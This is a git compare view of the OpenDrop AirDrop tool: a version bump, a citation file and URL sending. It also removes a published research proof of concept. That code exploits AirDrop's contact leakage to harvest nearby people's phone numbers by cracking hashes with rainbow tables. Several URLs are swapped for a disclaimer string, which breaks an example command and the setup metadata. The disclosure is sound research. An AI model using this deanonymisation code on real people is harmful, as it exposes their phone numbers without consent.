Author SHA1 Message Date
eickeh 11fe7ba786 Update README.md
Removed link to the deprecated owlink website as it's no longer associated with this project.
2026-08-17 14:18:16 +02:00
eickeh 9075732230 Update setup.py
Removed link to the deprecated owlink website as it's no longer associated with this project.
2026-08-17 14:16:23 +02:00
Alexander Heinrich ae5ac821fb Adding CITATION.cff file 2024-06-11 12:41:13 +02:00
Milan Stute cbc7ca46a7 Bump version 2021-04-29 14:59:52 +02:00
Milan Stute df221b0e2b Fixup: autoformat 2021-04-29 14:55:39 +02:00
Milan Stute 4f1849cea2 Add sending support for URLs (fixes #67) 2021-04-29 14:55:04 +02:00
Milan Stute 8bacbe97b0 Add PrivateDrop reference 2021-04-29 12:47:38 +02:00
12 changed files with 72 additions and 172 deletions
-3
View File
@@ -1,3 +0,0 @@
[submodule "rt_phone_numbers"]
path = rt_phone_numbers
url = https://github.com/contact-discovery/rt_phone_numbers.git
+31
View File
@@ -0,0 +1,31 @@
# This CITATION.cff file was generated with cffinit.
# Visit https://bit.ly/cffinit to generate yours today!
cff-version: 1.2.0
title: 'OpenDrop: an Open Source AirDrop Implementation'
message: 'If you use this software, please cite it as below.'
type: software
authors:
- given-names: Alexander
family-names: Heinrich
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0002-1150-1922'
- given-names: Milan
family-names: Stute
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0003-4921-8476'
- given-names: Matthias
family-names: Hollick
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0002-9163-5989'
repository-code: 'https://github.com/seemoo-lab/opendrop'
abstract: >-
OpenDrop is a command-line tool that allows sharing files
between devices directly over Wi-Fi. Its unique feature is
that it is protocol-compatible with Apple AirDrop which
allows to share files with Apple devices running iOS and
macOS.
license: GPL-3.0
commit: cbc7ca46a75bb2da4af9d406732ddf2192578388
version: '0.13'
date-released: '2021-04-29'
-80
View File
@@ -1,80 +0,0 @@
# PoC: AirDrop Phone Number Leak
This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in
* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf).
The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop.
**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so.
This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).**
## Installation
Run the following instructions on a Mac (tested with macOS 11.2.3).
1. Checkout the repository.
```bash
git clone https://github.com/seemoo-lab/opendrop.git
cd opendrop
git checkout poc-phonenumber-leak
git submodule update --init
```
2. Install Python dependencies.
```bash
pip3 install -r requirements.txt
```
3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers).
```bash
brew install libomp
cd rt_phone_numbers
make -f Makefile.macOS
cd ..
```
## Usage
Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below.
**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC.
Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_
### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21])
Simply run the following and wait for someone in proximity to open the AirDrop sharing menu.
```bash
python3 -m opendrop receive
```
An example output would look like this:
```
Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771
Starting HTTPS server
Nearby phone number: +49<...>
```
### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21])
Exploiting this vulnerability requires the victim to have the attacker in their address book.
In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim.
You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop.
This attack does not require any interaction on part of the victim. Simply run:
```bash
python3 -m opendrop find
```
An example output would look like this:
```
Looking for receivers. Press Ctrl+C to stop ...
Nearby phone number: +49<...>
Found index 0 ID a019b536c38b name John Doe's iPhone
```
+12 -4
View File
@@ -9,7 +9,7 @@ We support contacts-only devices by using extracted AirDrop credentials (keys an
## Disclaimer
OpenDrop is experimental software and is the result of reverse engineering efforts by the [Open Wireless Link](https://owlink.org) project.
OpenDrop is experimental software and is the result of reverse engineering efforts by the [Open Wireless Link](<<DISCLAIMER: The former owlink website is no longer associated with this project, please disregard it.>>) project.
Therefore, it does not support all features of AirDrop or might be incompatible with future AirDrop versions.
OpenDrop is not affiliated with or endorsed by Apple Inc. Use this code at your own risk.
@@ -52,7 +52,7 @@ pip3 install ./opendrop
We briefly explain how to send and receive files using `opendrop`.
To see all command line options, run `opendrop -h`.
### Sending a File
### Sending a File or a Link
Sending a file is typically a two-step procedure. You first discover devices in proximity using the `find` command.
Stop the process once you have found the receiver.
@@ -62,7 +62,7 @@ Looking for receivers. Press Ctrl+C to stop ...
Found index 0 ID eccb2f2dcfe7 name Johns iPhone
Found index 1 ID e63138ac6ba8 name Janes MacBook Pro
```
You can then `send` a file using
You can then `send` a file (or link, see below) using
```
$ opendrop send -r 0 -f /path/to/some/file
Asking receiver to accept ...
@@ -73,6 +73,13 @@ Uploading has been successful
Instead of the `index`, you can also use `ID` or `name`.
OpenDrop will try to interpret the input in the order (1) `index`, (2) `ID`, and (3) `name` and fail if no match was found.
**Sending a web link.** Since v0.13, OpenDrop supports sending web links, i.e., URLs, so that receiving Apple devices will immediately open their browser upon accepting.
(Note that OpenDrop _receivers_ still only support receiving regular files.)
```
$ opendrop send -r 0 -f <<DISCLAIMER: The former owlink website is no longer associated with this project, please disregard it.>> --url
```
### Receiving Files
Receiving is much easier. Simply use the `receive` command. OpenDrop will accept all incoming files automatically and put received files in the current directory.
@@ -94,7 +101,8 @@ OpenDrop is the result of a research project and, thus, has several limitations
## Our Papers
* Milan Stute, Sashank Narain, Alex Mariotto, Alexander Heinrich, David Kreitschmann, Guevara Noubir, and Matthias Hollick. **A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Tracking Attacks on iOS and macOS Through Apple Wireless Direct Link.** *28th USENIX Security Symposium (USENIX Security 19)*, August 1416, 2019, Santa Clara, CA, USA. [Link](https://www.usenix.org/conference/usenixsecurity19/presentation/stute)
* Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop.** *30th USENIX Security Symposium (USENIX Security 21)*, August 1416, 2019, virtual Event. [Paper](https://www.usenix.org/conference/usenixsecurity21/presentation/heinrich) [Website](https://privatedrop.github.io) [Code](https://github.com/seemoo-lab/privatedrop)
* Milan Stute, Sashank Narain, Alex Mariotto, Alexander Heinrich, David Kreitschmann, Guevara Noubir, and Matthias Hollick. **A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Tracking Attacks on iOS and macOS Through Apple Wireless Direct Link.** *28th USENIX Security Symposium (USENIX Security 19)*, August 1416, 2019, Santa Clara, CA, USA. [Paper](https://www.usenix.org/conference/usenixsecurity19/presentation/stute)
## Authors
+1 -1
View File
@@ -21,7 +21,7 @@ import logging
import os
import platform
__version__ = "0.12.3"
__version__ = "0.13.0"
if platform.system() == "Darwin":
dyld_path = os.environ.get("DYLD_LIBRARY_PATH", "") # save old path
+7 -3
View File
@@ -41,6 +41,9 @@ class AirDropCli:
parser = argparse.ArgumentParser()
parser.add_argument("action", choices=["receive", "find", "send"])
parser.add_argument("-f", "--file", help="File to be sent")
parser.add_argument(
"-u", "--url", help="'-f,--file is a URL", action="store_true"
)
parser.add_argument(
"-r",
"--receiver",
@@ -99,9 +102,10 @@ class AirDropCli:
else: # args.action == 'send'
if args.file is None:
parser.error("Need -f,--file when using send")
if not os.path.isfile(args.file):
if not os.path.isfile(args.file) and not args.url:
parser.error("File in -f,--file not found")
self.file = args.file
self.is_url = args.url
if args.receiver is None:
parser.error("Need -r,--receiver when using send")
self.receiver = args.receiver
@@ -184,12 +188,12 @@ class AirDropCli:
return
self.client = AirDropClient(self.config, (info["address"], info["port"]))
logger.info("Asking receiver to accept ...")
if not self.client.send_ask(self.file):
if not self.client.send_ask(self.file, is_url=self.is_url):
logger.warning("Receiver declined")
return
logger.info("Receiver accepted")
logger.info("Uploading file ...")
if not self.client.send_upload(self.file):
if not self.client.send_upload(self.file, is_url=self.is_url):
logger.warning("Uploading has failed")
return
logger.info("Uploading has been successful")
+20 -21
View File
@@ -141,15 +141,10 @@ class AirDropClient:
_, response_bytes = self.send_POST("/Discover", discover_plist_binary)
response = plistlib.loads(response_bytes)
# Extract and lookup phone number hashes from validation record
validation_record = response["ReceiverRecordData"]
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
AirDropUtil.lookup_phone_hashes(hashes)
# if name is returned, then receiver is discoverable
return response.get("ReceiverComputerName")
def send_ask(self, file_path, icon=None):
def send_ask(self, file_path, is_url=False, icon=None):
ask_body = {
"SenderComputerName": self.config.computer_name,
"BundleID": "com.apple.finder",
@@ -160,18 +155,6 @@ class AirDropClient:
if self.config.record_data:
ask_body["SenderRecordData"] = self.config.record_data
if isinstance(file_path, str):
file_path = [file_path]
# generate icon for first file
with open(file_path[0], "rb") as f:
file_header = f.read(128)
flp = fleep.get(file_header)
if not icon and len(flp.mime) > 0 and "image" in flp.mime[0]:
icon = AirDropUtil.generate_file_icon(f.name)
if icon:
ask_body["FileIcon"] = icon
def file_entries(files):
for file in files:
file_name = os.path.basename(file)
@@ -184,8 +167,20 @@ class AirDropClient:
}
yield file_entry
ask_body["Files"] = [e for e in file_entries(file_path)]
ask_body["Items"] = []
if isinstance(file_path, str):
file_path = [file_path]
if is_url:
ask_body["Items"] = file_path
else:
# generate icon for first file
with open(file_path[0], "rb") as f:
file_header = f.read(128)
flp = fleep.get(file_header)
if not icon and len(flp.mime) > 0 and "image" in flp.mime[0]:
icon = AirDropUtil.generate_file_icon(f.name)
ask_body["Files"] = [e for e in file_entries(file_path)]
if icon:
ask_body["FileIcon"] = icon
ask_binary = plistlib.dumps(
ask_body, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
@@ -194,10 +189,14 @@ class AirDropClient:
return success
def send_upload(self, file_path):
def send_upload(self, file_path, is_url=False):
"""
Send a file to a receiver.
"""
# Don't send an upload request if we just sent a link
if is_url:
return
headers = {
"Content-Type": "application/x-cpio",
}
-6
View File
@@ -170,12 +170,6 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
self.config, post_data, "receive_discover_request.plist"
)
# Extract and lookup phone number hashes from validation record
discover_request = plistlib.loads(post_data)
validation_record = discover_request["SenderRecordData"]
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
AirDropUtil.lookup_phone_hashes(hashes)
# sample media capabilities as recorded from macOS 10.13.3
media_capabilities = {
"Version": 1,
-43
View File
@@ -17,15 +17,11 @@ You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import glob
import io
import ipaddress
import os
import plistlib
import subprocess
import ifaddr
from ctypescrypto import cms
from libarchive.entry import ArchiveEntry, new_archive_entry
from libarchive.ffi import ( # pylint: disable=no-name-in-module
ARCHIVE_EOF,
@@ -172,45 +168,6 @@ class AirDropUtil:
else: # assume bytes-like
file.write(data)
@staticmethod
def get_hashes_from_validation_record(validation_record):
data = cms.CMS(validation_record, format="DER").data
data = plistlib.loads(data.encode())
phone_hashes = data["ValidatedPhoneHashes"]
return phone_hashes
@staticmethod
def lookup_phone_hashes(hashes):
for hash_ in hashes:
AirDropUtil.lookup_phone_hash(hash_)
@staticmethod
def lookup_phone_hash(hash_):
rcrack_dir = os.path.join(
os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin"
)
rcrack_bin = os.path.join(rcrack_dir, "rcrack")
rcrack_table = ""
rcrack_tables = glob.glob(rcrack_table)
if len(rcrack_tables) == 0:
print("Could not recover hashed phone number: No rainbow tables provided.")
return
result = subprocess.run(
[rcrack_bin] + rcrack_tables + ["-h", hash_],
text=True,
cwd=rcrack_dir,
capture_output=True,
check=True,
)
for line in result.stdout.splitlines():
if not line.startswith("plaintext of"):
continue
number = line.split("is")[1].strip()
print(f"Nearby phone number: +{number}")
class AbsArchiveWrite(ArchiveWrite):
def add_abs_file(self, path, store_path):
-8
View File
@@ -1,8 +0,0 @@
Pillow
ctypescrypto
fleep
ifaddr
libarchive-c
requests
requests_toolbelt
zeroconf>=0.24.2
+1 -2
View File
@@ -14,7 +14,7 @@ setup(
description="An open Apple AirDrop implementation",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://owlink.org",
url="<<DISCLAIMER: The former owlink website is no longer associated with this project, please disregard it.>>",
project_urls={
"Source": "https://github.com/seemoo-lab/opendrop",
"Research Paper": "https://usenix.org/conference/usenixsecurity19/presentation/stute",
@@ -37,7 +37,6 @@ setup(
package_data={"opendrop": ["certs/*.pem"]},
install_requires=[
"Pillow",
"ctypescrypto",
"fleep",
"ifaddr",
"libarchive-c",